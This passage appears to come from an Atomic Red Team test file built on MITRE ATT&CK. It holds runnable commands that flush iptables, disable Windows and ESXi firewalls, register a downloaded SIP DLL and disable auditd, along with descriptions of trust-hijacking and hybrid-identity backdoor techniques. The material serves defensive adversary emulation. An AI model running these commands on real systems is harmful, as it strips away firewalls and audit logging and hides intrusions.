and delete a rule on the Packet Filter (PF) if installed and enabled. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if pf is installed on the machine and enabled. ' prereq_command: "if [ ! -x \"$(command -v pfctl)\" ]; then echo -e \"\\n***** PF NOT installed *****\\n\"; exit 1; fi\nif [ \"$(kldstat -n pf)\" = \"\" ]; then echo -e \"\\n***** PF inactive *****\\n\"; exit 1; fi \n" get_prereq_command: | echo "anchor pf-rules >> /etc/pf.conf" pfctl -f /etc/pf.conf executor: name: sh elevation_required: true command: | echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f - pfctl -a pf-rules -s rules cleanup_command: | pfctl -a pf-rules -F rules sed -i "" '/anchor pf-rules/d' pfctl -f /etc/pf.conf - name: Edit UFW firewall user.rules file auto_generated_guid: beaf815a-c883-4194-97e9-fdbbb2bbdd7c description: 'Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if /etc/ufw/user.rules exists. ' prereq_command: 'if [ ! -f "/etc/ufw/user.rules" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules grep "# THIS IS A COMMENT" /etc/ufw/user.rules cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/ufw/user.rules ' - name: Edit UFW firewall ufw.conf file auto_generated_guid: c1d8c4eb-88da-4927-ae97-c7c25893803b description: "Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf \nwhich controls if the firewall starts on boot and its logging level.\n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if /etc/ufw/ufw.conf exists. ' prereq_command: 'if [ ! -f "/etc/ufw/ufw.conf" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf cleanup_command: | sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf cat /etc/ufw/ufw.conf - name: Edit UFW firewall sysctl.conf file auto_generated_guid: c4ae0701-88d3-4cd8-8bce-4801ed9f97e4 description: "Edit the Uncomplicated Firewall (UFW) configuration file for setting network \nvariables /etc/ufw/sysctl.conf.\n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if /etc/ufw/sysctl.conf exists. ' prereq_command: 'if [ ! -f "/etc/ufw/sysctl.conf" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf cleanup_command: | sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf cat /etc/ufw/sysctl.conf - name: Edit UFW firewall main configuration file auto_generated_guid: 7b697ece-8270-46b5-bbc7-6b9e27081831 description: "Edit the Uncomplicated Firewall (UFW) main configuration file for setting \ndefault policies /etc/default/ufw.\n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if /etc/default/ufw exists. ' prereq_command: 'if [ ! -f "/etc/default/ufw" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | echo "# THIS IS A COMMENT" >> /etc/default/ufw grep "# THIS IS A COMMENT" /etc/default/ufw cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/default/ufw ' - name: Tail the UFW firewall log file auto_generated_guid: 419cca0c-fa52-4572-b0d7-bc7c6f388a27 description: "Print the last 10 lines of the Uncomplicated Firewall (UFW) log file \n/var/log/ufw.log.\n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if /var/log/ufw.log exists. ' prereq_command: 'if [ ! -f "/var/log/ufw.log" ]; then echo -e "\n***** ufw NOT logging *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: 'tail /var/log/ufw.log ' cleanup_command: '' - name: Disable iptables auto_generated_guid: 7784c64e-ed0b-4b65-bf63-c86db229fd56 description: "Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) \nAttackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables \nrules, which in fact \"disable\" iptables. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if iptables is installed on the machine. ' prereq_command: 'if [ ! -x "$(command -v iptables)" ]; then echo -e "\n***** iptables NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | iptables-save > /tmp/iptables.rules iptables -F cleanup_command: 'iptables-restore < /tmp/iptables.rules ' - name: Modify/delete iptables firewall rules auto_generated_guid: 899a7fb5-d197-4951-8614-f19ac4a73ad4 description: "Instead of completely \"disabling\" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.\nBy doing so, they may cause less noise to avoid detection. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if iptables is installed on the machine. ' prereq_command: | if [ ! -x "$(command -v iptables)" ]; then echo -e "\n***** iptables NOT installed *****\n"; exit 1; fi if ! echo "$(iptables -L)" | grep -q "DROP .*dpt:ftp"; then echo -e "\n***** this firewall rule is NOT activated *****\n***** activate it by executing \"iptables -A OUTPUT -p tcp --dport 21 -j DROP\" *****\n"; exit 1; fi get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | iptables-save > /tmp/iptables.rules iptables -D OUTPUT -p tcp --dport 21 -j DROP cleanup_command: 'iptables-restore < /tmp/iptables.rules ' - name: LockBit Black - Unusual Windows firewall registry modification -cmd auto_generated_guid: a4651931-ebbb-4cde-9363-ddf3d66214cb description: 'An adversary tries to modify the windows firewall registry ' supported_platforms: - windows executor: command: | reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f cleanup_command: | reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /f >nul 2>&1 name: command_prompt elevation_required: true - name: LockBit Black - Unusual Windows firewall registry modification -Powershell auto_generated_guid: 80b453d1-eec5-4144-bf08-613a6c3ffe12 description: 'An adversary tries to modify the windows firewall registry. ' supported_platforms: - windows executor: command: | New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force cleanup_command: | Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -Force -ErrorAction Ignore name: powershell elevation_required: true - name: Blackbit - Disable Windows Firewall using netsh firewall auto_generated_guid: 91f348e6-3760-4997-a93b-2ceee7f254ee description: "An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works). \n" supported_platforms: - windows executor: command: 'netsh firewall set opmode mode=disable ' cleanup_command: 'netsh firewall set opmode mode=enable >nul 2>&1 ' name: command_prompt elevation_required: true - name: ESXi - Disable Firewall via Esxcli auto_generated_guid: bac8a340-be64-4491-a0cc-0985cb227f5a description: 'Adversaries may disable the ESXI firewall via ESXCLI ' supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local plink_file: description: Path to Putty type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe username: description: username used to log into ESXi type: string default: root password: description: password used to log into ESXI type: string default: n/a dependency_executor_name: powershell dependencies: - description: 'The plink executable must be found in the ExternalPayloads folder. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: "#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\\..\\atomics\\T1562.004\\src\\esxi_disable_firewall.txt\n" cleanup_command: "#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\\..\\atomics\\T1562.004\\src\\esxi_enable_firewall.txt\n" name: command_prompt elevation_required: false - name: Set a firewall rule using New-NetFirewallRule auto_generated_guid: 94be7646-25f6-467e-af23-585fb13000c8 description: This test will attempt to create a new inbound/outbound firewall rule using the New-NetFirewallRule commandlet. supported_platforms: - windows input_arguments: direction: description: Direction can be Inbound or Outbound type: string default: Inbound local_port: description: This is the local port you wish to test opening type: integer default: 21 protocol: description: This is the protocol type: string default: TCP action: description: This is the action type: string default: allow executor: command: New-NetFirewallRule -DisplayName "New rule" -Direction "#{direction}" -LocalPort "#{local_port}" -Protocol "#{protocol}" -Action "#{action}" cleanup_command: Remove-NetFirewallRule -DisplayName "New rule" name: powershell elevation_required: true T1553.003: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Matt Graeber, @mattifestation, SpecterOps object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc created: '2020-02-05T19:34:04.910Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1553.003 url: https://attack.mitre.org/techniques/T1553/003 - source_name: Entrust Enable CAPI2 Aug 2017 url: http://www.entrust.net/knowledge-base/technote.cfm?tn=8165 description: Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018. - source_name: GitHub SIP POC Sept 2017 url: https://github.com/mattifestation/PoCSubjectInterfacePackage description: Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018. - source_name: SpectorOps Subverting Trust Sept 2017 url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018. - source_name: Microsoft Catalog Files and Signatures April 2017 url: https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files description: Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018. - source_name: Microsoft Audit Registry July 2012 url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10) description: Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018. - source_name: Microsoft Registry Auditing Aug 2016 url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11) description: Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018. - source_name: Microsoft Authenticode url: https://msdn.microsoft.com/library/ms537359.aspx description: Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018. - source_name: Microsoft WinVerifyTrust url: https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx description: Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018. - source_name: EduardosBlog SIPs July 2008 url: https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/ description: Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018. x_mitre_deprecated: false revoked: false description: |- Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017) Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017) Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) * Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). * Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. * Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Subvert Trust Controls: SIP and Trust Provider Hijacking' x_mitre_detection: |- Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'File: File Modification' x_mitre_defense_bypassed: - Autoruns Analysis - Digital Certificate Validation - User Mode Signature Validation - Application Control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1553.003 atomic_tests: - name: SIP (Subject Interface Package) Hijacking via Custom DLL auto_generated_guid: e12f5d8d-574a-4e9d-8a84-c0e8b4a8a675 description: "Registers a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from \nhttps://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing\nthe system to utilize it during signature checks, and logging said checks.\n" supported_platforms: - windows input_arguments: dll_payload: description: Path to GTSIPProvider.dll type: path default: PathToAtomicsFolder\T1553.003\bin\GTSIPProvider.dll dependency_executor_name: powershell dependencies: - description: 'GTSIPProvider.dll must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/gtworek/PSBits/raw/2aa885c7d09f7f100997bfa5ee0c404084177f24/SIP/GTSIPProvider.dll" -OutFile "#{dll_payload}" executor: command: 'regsvr32.exe #{dll_payload} ' cleanup_command: 'regsvr32.exe /u #{dll_payload} ' name: command_prompt elevation_required: true T1556.007: technique: modified: '2022-11-08T14:00:00.188Z' name: Hybrid Identity description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: '' x_mitre_platforms: - Windows - Azure AD - SaaS - Google Workspace - Office 365 - IaaS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Praetorian x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f created: '2022-09-28T13:29:53.354Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/007 external_id: T1556.007 - source_name: Azure AD Connect for Read Teamers description: Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022. url: https://blog.xpnsec.com/azuread-connect-for-redteam/ - source_name: AADInternals Azure AD On-Prem to Cloud description: 'Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.' url: https://o365blog.com/post/on-prem_admin/ - source_name: MagicWeb description: 'Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.' url: https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/ - source_name: Azure AD Hybrid Identity description: Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022. url: https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn - source_name: Mandiant Azure AD Backdoors description: Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022. url: https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1218.015: technique: modified: '2024-04-15T23:00:33.493Z' name: Electron Applications description: |- Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1) Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8) Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Debabrata Sharma x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3 created: '2024-03-07T19:32:35.383Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/015 external_id: T1218.015 - source_name: Electron 3 description: Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024. url: https://www.kaspersky.com/blog/electron-framework-security-issues/49035/ - source_name: Electron Security description: ElectronJS.org. (n.d.). Retrieved March 7, 2024. url: https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules - source_name: Electron 6-8 description: Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024. url: https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf - source_name: Electron 1 description: TOM ABAI. (2023, August 10). There’s a New Stealer Variant in Town, and It’s Using Electron to Stay Fully Undetected. Retrieved March 7, 2024. url: https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/ - source_name: Electron 2 description: Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024. url: https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1562.012: technique: modified: '2023-10-03T03:44:46.935Z' name: 'Impair Defenses: Disable or Modify Linux Audit System' description: |- Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules. Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022) With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Tim (Wadhwa-)Brown x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: OS API Execution' - 'File: File Modification' - 'Command: Command Execution' - 'File: File Deletion' - 'Process: Process Modification' type: attack-pattern id: attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054 created: '2023-05-24T19:03:03.855Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/012 external_id: T1562.012 - source_name: IzyKnows auditd threat detection 2022 description: IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023. url: https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505 - source_name: Red Hat System Auditing description: Jahoda, M. et al.. (2017, March 14). Red Hat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - source_name: ESET Ebury Feb 2014 description: M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019. url: https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/ - source_name: Trustwave Honeypot SkidMap 2023 description: 'Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.' url: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1562.012 atomic_tests: - name: Delete all auditd rules using auditctl auto_generated_guid: 33a29ab1-cabb-407f-9448-269041bf2856 description: 'Using ''auditctl -D'' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if auditd is installed. ' prereq_command: 'if [ $(command -v auditctl) ]; then exit 0; else exit 1; fi ' get_prereq_command: "(yum install auditd -y) || (apt-get install auditd -y) || (dnf install auditd -y)\n" executor: command: 'auditctl -D ' name: sh elevation_required: true cleanup_command: 'service auditd restart ' - name: Disable auditd using auditctl auto_generated_guid: 7906f0a6-b527-46ee-9026-6e81a9184e08 description: 'The command `auditctl -e 0` disables the audit system. By setting the parameter to `0`, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, 